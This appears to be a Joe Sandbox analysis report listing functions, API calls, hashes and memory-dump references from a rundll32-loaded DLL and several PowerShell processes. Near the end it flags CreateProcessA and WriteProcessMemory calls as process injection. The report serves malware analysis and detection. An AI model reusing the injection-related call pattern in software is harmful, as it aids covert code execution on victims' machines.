Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6dabe8bd651a882f88858d3b65ba6db7518de8536a96de84c1e85cadb246ec8b
Instruction ID: ead23f0e58b78240c10f663c830149cce8d8a4e8ea26d57c37804581b3eba9f6
Opcode Fuzzy Hash: 6dabe8bd651a882f88858d3b65ba6db7518de8536a96de84c1e85cadb246ec8b
Instruction Fuzzy Hash: C7417234A00319ABDF10CF79C885E9EBBB6AF45368F108159E9149B3D2D732E925CF91

Function 6F953727 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6F9531F1,6F952381,6F951D55,?,6F951F8D,?,00000001,?,?,00000001,?,6F965750,0000000C,6F952086), ref: 6F953735
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6F953743
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6F95375C
SetLastError.KERNEL32(00000000,6F951F8D,?,00000001,?,?,00000001,?,6F965750,0000000C,6F952086,?,00000001,?), ref: 6F9537AE

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: cc2281c019edd921d842ec66aee1f84c51d2aa2c758fc477ff1fb2002e255d74
Instruction ID: 55fdda806f67d341de7e6315f8943b37e07243cf9b6803278666ec7b786dd641
Opcode Fuzzy Hash: cc2281c019edd921d842ec66aee1f84c51d2aa2c758fc477ff1fb2002e255d74
Instruction Fuzzy Hash: 4F01F773A2CB115EBB1095B8ACD7E6A276ADB07779720032EE130D50E1EF51D835AA90

Function 6F957FBD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6F957FD9

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: a14bb15c37d60a286f0625b893b28e2a2e57ec3d5e5a9c851fc281ae84d76adb
Instruction ID: 1597c5ab29c6056f2b844a429e15773aa7f25723b31fc11314ad33efb6e76bb7
Opcode Fuzzy Hash: a14bb15c37d60a286f0625b893b28e2a2e57ec3d5e5a9c851fc281ae84d76adb
Instruction Fuzzy Hash: 9D219D71218606AFEB24DFB5888099B77ADEF113687008918E919DB1D1EB30EC258BA0

Function 6F953C69 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6F953D2A,00000000,?,00000001,00000000,?,6F953DA1,00000001,FlsFree,6F960E2C,FlsFree,00000000), ref: 6F953CF9

Strings

api-ms-, xrefs: 6F953CB9

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: ad7b35e693053ff004a6380ad2c70a82dd44f2e5e314501ec7917911fc46011e
Instruction ID: bf6d080421070cce3ce2d0b880099514b46054195cae0c3e3f03cb59de10071a
Opcode Fuzzy Hash: ad7b35e693053ff004a6380ad2c70a82dd44f2e5e314501ec7917911fc46011e
Instruction Fuzzy Hash: 2511A771A44621ABFF22CB78C942F5937A9AF02770F100215ED11AB1C0D770F920C6D5

Function 6F9552BE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,44818074,?,?,00000000,6F95F92D,000000FF,?,6F955258,?,?,6F95522C,00000000), ref: 6F9552F3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6F955305
FreeLibrary.KERNEL32(00000000,?,00000000,6F95F92D,000000FF,?,6F955258,?,?,6F95522C,00000000), ref: 6F955327

Strings

CorExitProcess, xrefs: 6F9552FD
mscoree.dll, xrefs: 6F9552EC

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 86b17386e015d26b04162c864e44e22a488c0b66bee0cc5689ba68fc4fc320da
Instruction ID: a2a5d3eee320de7d7d6efa6493a3a3008c493e11d049b6108d2eb59632f2bbfb
Opcode Fuzzy Hash: 86b17386e015d26b04162c864e44e22a488c0b66bee0cc5689ba68fc4fc320da
Instruction Fuzzy Hash: 23014471918919EBEF028B54CC44BBE7BB9FB45724F00062AF921E22D4DB75D910CA50

Function 6F95B654 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6F95B6D9
__alloca_probe_16.LIBCMT ref: 6F95B7A2
__freea.LIBCMT ref: 6F95B809

Part of subcall function 6F95786A: HeapAlloc.KERNEL32(00000000,00000000,?,?,6F951CD5,00000000,?,6F95175C,00000000,?,6F9510C9,00000000), ref: 6F95789C

__freea.LIBCMT ref: 6F95B81C
__freea.LIBCMT ref: 6F95B829

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 50eb4319f89d205e16c88159eb3cdaf39520fe7941bd2d0c6b472fdfcfb26144
Instruction ID: 15b4db24f0c52991273d2f291cd5d2957f38f049bf9de9cdec2bb3f98edc1308
Opcode Fuzzy Hash: 50eb4319f89d205e16c88159eb3cdaf39520fe7941bd2d0c6b472fdfcfb26144
Instruction Fuzzy Hash: 7C51A3729012066BEB18CE65DC80EBB7ABDDF94714F154129FE14DA1D1EB31EC6186A0

Function 6F95BDF6 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(44818074,00000000,00000000,?), ref: 6F95BE59

Part of subcall function 6F958B8B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F95B7FF,?,00000000,-00000008), ref: 6F958BEC

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6F95C0AB
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6F95C0F1
GetLastError.KERNEL32 ref: 6F95C194

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: b2a688838fe8bf3955c95837d872743bc7241829b9ad8106a464be17ba41a4c7
Instruction ID: 5b3195121e167717b88fb6d5c62fec892058d9986fe1edb15ec81f1ed54de01d
Opcode Fuzzy Hash: b2a688838fe8bf3955c95837d872743bc7241829b9ad8106a464be17ba41a4c7
Instruction Fuzzy Hash: E5D18A75D042589FDF15CFA8C8809EDBBB8EF0A314F14812AE855AB291D730E952CF50

Function 6F953E82 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6F953F49
___AdjustPointer.LIBCMT ref: 6F953F6C
___AdjustPointer.LIBCMT ref: 6F954008

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 8fd13cb57332c53c0b56804987c53cbba2a86d479b996acbaba7fe73ff76abaf
Instruction ID: e94c86d600dc1b522e68b7f54a2c045815f7b12591a3e06eb6ac773d160087c9
Opcode Fuzzy Hash: 8fd13cb57332c53c0b56804987c53cbba2a86d479b996acbaba7fe73ff76abaf
Instruction Fuzzy Hash: 8B51CC72604606AFEB19CF36D852FAAB7BAEF64314F10412AED15472D1E731E874CB90

Function 6F95792D Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6F958B8B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F95B7FF,?,00000000,-00000008), ref: 6F958BEC

GetLastError.KERNEL32 ref: 6F957991
__dosmaperr.LIBCMT ref: 6F957998
GetLastError.KERNEL32(?,?,?,?), ref: 6F9579D2
__dosmaperr.LIBCMT ref: 6F9579D9

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 106d213be465e8bbc35f12edc7bc4e2a72873f08a5b858c4c96e4d53c6193b83
Instruction ID: 78a20d634b7c6c4bc48c33d63c8dfc9a800d1de47c4891f9f1ab74e1c0d8c718
Opcode Fuzzy Hash: 106d213be465e8bbc35f12edc7bc4e2a72873f08a5b858c4c96e4d53c6193b83
Instruction Fuzzy Hash: A621B07120471EAF9B50DFB5C99085AB7ADEF01368710C519EE18871D0D730EE31CBA2

Function 6F958C2E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6F958C36

Part of subcall function 6F958B8B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F95B7FF,?,00000000,-00000008), ref: 6F958BEC

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F958C6E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F958C8E

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: d9790b809ee6d5fbb68c96597575fae9a4322b63d29cbfb3be0a61eba9aa171a
Instruction ID: 9347431251b9575f5978865984a4f43ff6e5c38502980fab9cede6ebc57645cd
Opcode Fuzzy Hash: d9790b809ee6d5fbb68c96597575fae9a4322b63d29cbfb3be0a61eba9aa171a
Instruction Fuzzy Hash: 0D11A5F151A615BFB71597B58ECCCAF396CDF562A97000114F501952C5EB30ED21C7B1

Function 6F95D916 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000), ref: 6F95D92D
GetLastError.KERNEL32(?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000,?,?,?,6F95C78B,00000000), ref: 6F95D939

Part of subcall function 6F95D8FF: CloseHandle.KERNEL32(FFFFFFFE,6F95D949,?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000,?,?), ref: 6F95D90F

___initconout.LIBCMT ref: 6F95D949

Part of subcall function 6F95D8C1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6F95D8F0,6F95D0C4,?,?,6F95C1E8,?,00000000,00000000,?), ref: 6F95D8D4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000,?), ref: 6F95D95E

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 86ea7d3a8b6db4968cf77ff69b9186062e16c007ab02fe31077746fe7a85e8a4
Instruction ID: 8be10e3987927ed1fee0474222823d1413298eda69ff01bfbbaaef7112f550fb
Opcode Fuzzy Hash: 86ea7d3a8b6db4968cf77ff69b9186062e16c007ab02fe31077746fe7a85e8a4
Instruction Fuzzy Hash: 61F0303640A555BBEF165F91DC44A993F77FF093B0B044059FB189A260CB32E930DB91

Function 6F954483 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6F9544A8

Strings

MOC, xrefs: 6F9544BA
RCC, xrefs: 6F9544C2

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f0777ed0d399748d5e30526737e154581491d4571748bf396a66f906d37686cd
Instruction ID: b081194dbf2f0f46654faa82a9f911484b17bc410737f2bd3b4605dd9e6d1423
Opcode Fuzzy Hash: f0777ed0d399748d5e30526737e154581491d4571748bf396a66f906d37686cd
Instruction Fuzzy Hash: 8D4159B1900209AFDF05CFA8D891AEE7BB9BF48308F148199F91467291D336E971DF51

Analysis Process: powershell.exePID: 5300, Parent PID: 1436COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	13
Total number of Limit Nodes:	0

Executed Functions

Function 04D18994 Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(00000000), ref: 04D18E4E

Memory Dump Source

Source File: 0000000C.00000002.1694072703.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4d10000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ac533b63c1300a544f24cd29383e1e7eadf3581dc3016b7201af7710013a4cf8
Instruction ID: 4a38122d72ee0f8ea27a82e2908e4cc0b5775488a3d186ade655199c9d2ddeef
Opcode Fuzzy Hash: ac533b63c1300a544f24cd29383e1e7eadf3581dc3016b7201af7710013a4cf8
Instruction Fuzzy Hash: 5A1144B1D003088FCB10DF9AD444A9EFBF5EF88320F10841AE819A7220C375A541CFA0

Function 04D18DE0 Relevance: 1.6, APIs: 1, Instructions: 52
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(00000000), ref: 04D18E4E

Memory Dump Source

Source File: 0000000C.00000002.1694072703.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4d10000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af71a8c078db689d2d6aa5c19c2bd7b8f4fa7ca2f0af67356b678349a7df08b3
Instruction ID: 9663bce5ef45e23dc7519f48166875231f3ef422004700b564bc2355a6301f2f
Opcode Fuzzy Hash: af71a8c078db689d2d6aa5c19c2bd7b8f4fa7ca2f0af67356b678349a7df08b3
Instruction Fuzzy Hash: 071114B59003498FCB10DF9AD444A9EFBF5AF88324F14842AD869A7610D375A545CFA1

Analysis Process: powershell.exePID: 7760, Parent PID: 7620COMMON

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	23
Total number of Limit Nodes:	2

Executed Functions

Function 06DC28C8 Relevance: 7.7, Strings: 6, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 06DC2A75
tP^q, xrefs: 06DC29DD
84^l, xrefs: 06DC2997
84^l, xrefs: 06DC298D
tP^q, xrefs: 06DC29E9
(o^q, xrefs: 06DC2A65

Memory Dump Source

Source File: 00000018.00000002.1928352238.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$84^l$84^l$tP^q$tP^q
API String ID: 0-1240530962
Opcode ID: 5bfe850e7fec62e213c252df836abf8c625799a54e24fd8915af384b987c2419
Instruction ID: 967ec0f70617bd44bfb2243196fba64cb464a73e0e5d35ad29d4066539435623
Opcode Fuzzy Hash: 5bfe850e7fec62e213c252df836abf8c625799a54e24fd8915af384b987c2419
Instruction Fuzzy Hash: 7361E030B4020EDFDB689F18C854BAABBE2BB88720F14856DE8559F354DB71DE41CB91

Function 06DC22D0 Relevance: 6.4, Strings: 5, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06DC2417
$^q, xrefs: 06DC23F0
$^q, xrefs: 06DC238E
4'^q, xrefs: 06DC240B
$^q, xrefs: 06DC23E4

Memory Dump Source

Source File: 00000018.00000002.1928352238.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: a52cc68e4b541e36b79e64fe263b85748a693c93a38b6117adc3eda4d3e2ef3c
Instruction ID: a7f5d790363b832ea1b4a0cf3da48be9f78049e28cae48c6a62ef1fd5ad2f428
Opcode Fuzzy Hash: a52cc68e4b541e36b79e64fe263b85748a693c93a38b6117adc3eda4d3e2ef3c
Instruction Fuzzy Hash: CB41E431F1020ECFDBA89B79980067AB7E6AF94320F24842ED455DB295DF36CA45C7A1

Function 06DC28AF Relevance: 3.9, Strings: 3, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tP^q, xrefs: 06DC29DD
84^l, xrefs: 06DC298D
(o^q, xrefs: 06DC2A65

Memory Dump Source

Source File: 00000018.00000002.1928352238.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$84^l$tP^q
API String ID: 0-2373809280
Opcode ID: 5017b1a3e5b8d2554977ebdd622b9cd164cc3064bfbacff6ff3e97c9f2a41489
Instruction ID: 37a9ec303c33c8571d1e1716161124928b81258789a660bdfadb3942128c0032
Opcode Fuzzy Hash: 5017b1a3e5b8d2554977ebdd622b9cd164cc3064bfbacff6ff3e97c9f2a41489
Instruction Fuzzy Hash: A2419030E4020EDFDB64CF18C984B6ABBB2FB84330F1485ADE4559B251DB71DA41CB91

Function 06DC22B3 Relevance: 3.9, Strings: 3, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06DC238E
4'^q, xrefs: 06DC240B
$^q, xrefs: 06DC23E4

Memory Dump Source

Source File: 00000018.00000002.1928352238.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$$^q$$^q
API String ID: 0-2291298209
Opcode ID: b1c931a0fc08d1f63a679d7af7935c233983f1843cd30db6f4f2b755ebd30222
Instruction ID: c923c6dd1f162aa9d94dd7726ff3c0e45a57f2e9cb7a7952ca969438031ad66c
Opcode Fuzzy Hash: b1c931a0fc08d1f63a679d7af7935c233983f1843cd30db6f4f2b755ebd30222
Instruction Fuzzy Hash: D331C330E0420EDFDBA58F69840177A7BB1AF95760F14406ED844DB292DB35CB41CBA2

Function 06DC25A0 Relevance: 2.6, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06DC2646
4'^q, xrefs: 06DC2652

Memory Dump Source

Source File: 00000018.00000002.1928352238.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6dc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 7caebb67d5bc0299b4b192fa6677d4ce5e178d7f6fd665e0adce21fa2bc9d5b0
Instruction ID: 0b9e1f38d91fc811ec2e2041545666466c40c6a09be5385ab0b8c7508a08f968
Opcode Fuzzy Hash: 7caebb67d5bc0299b4b192fa6677d4ce5e178d7f6fd665e0adce21fa2bc9d5b0
Instruction Fuzzy Hash: CF319C31F4020ECFDB94DB69D54466AB7F2BB84320F24807ED4598B211EB31DA49CBE1

Function 008B69EC Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 008B6C2E

Memory Dump Source

Source File: 00000018.00000002.1833885028.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_8b0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1c11ef64a094342a27abcbdc69857ba434666ba93ff6c6ac07276fdfebbef83d
Instruction ID: f70fe3f816f60e90eb58b17007b1d8926b6d145b3898eb6c8b218bd3ca54a6df
Opcode Fuzzy Hash: 1c11ef64a094342a27abcbdc69857ba434666ba93ff6c6ac07276fdfebbef83d
Instruction Fuzzy Hash: 36A14871D002198FDB14DF68C8417DEBBB2FF44314F1485A9E849E7240EB789995CF92

Function 008B69F8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 008B6C2E

Memory Dump Source

Source File: 00000018.00000002.1833885028.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_8b0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: acf6cf53f1eda8778df76508b1cdc8fd77151dc06ff79a1e4dd698a4bf6bacc5
Instruction ID: aa0f94fbcf3294c0c6a37b5a50a76d9ab8f80385e2333d364462c2e91651c8f0
Opcode Fuzzy Hash: acf6cf53f1eda8778df76508b1cdc8fd77151dc06ff79a1e4dd698a4bf6bacc5
Instruction Fuzzy Hash: 6B913671D002199FDB10DF68C841BEEBBB2FB48314F1485A9E849E7250EB789995CF92

Function 008B6768 Relevance: 1.6, APIs: 1, Instructions: 77
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 008B6800

Memory Dump Source

Source File: 00000018.00000002.1833885028.00000000008B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_8b0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b1838b81a474ab2e5a8144ff44e7f85a0ee3c908e55e57ee8b0235882da26523
Instruction ID: 17a508f77957de885de76084bc768c2005504fc91b1bffe374e5fa03c7e8c395
Opcode Fuzzy Hash: b1838b81a474ab2e5a8144ff44e7f85a0ee3c908e55e57ee8b0235882da26523
Instruction Fuzzy Hash: C92168B69003499FCB10DFA9C881BDEBBF4FF48324F108429E559A7341DB789954CBA4

Function 008B6770 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

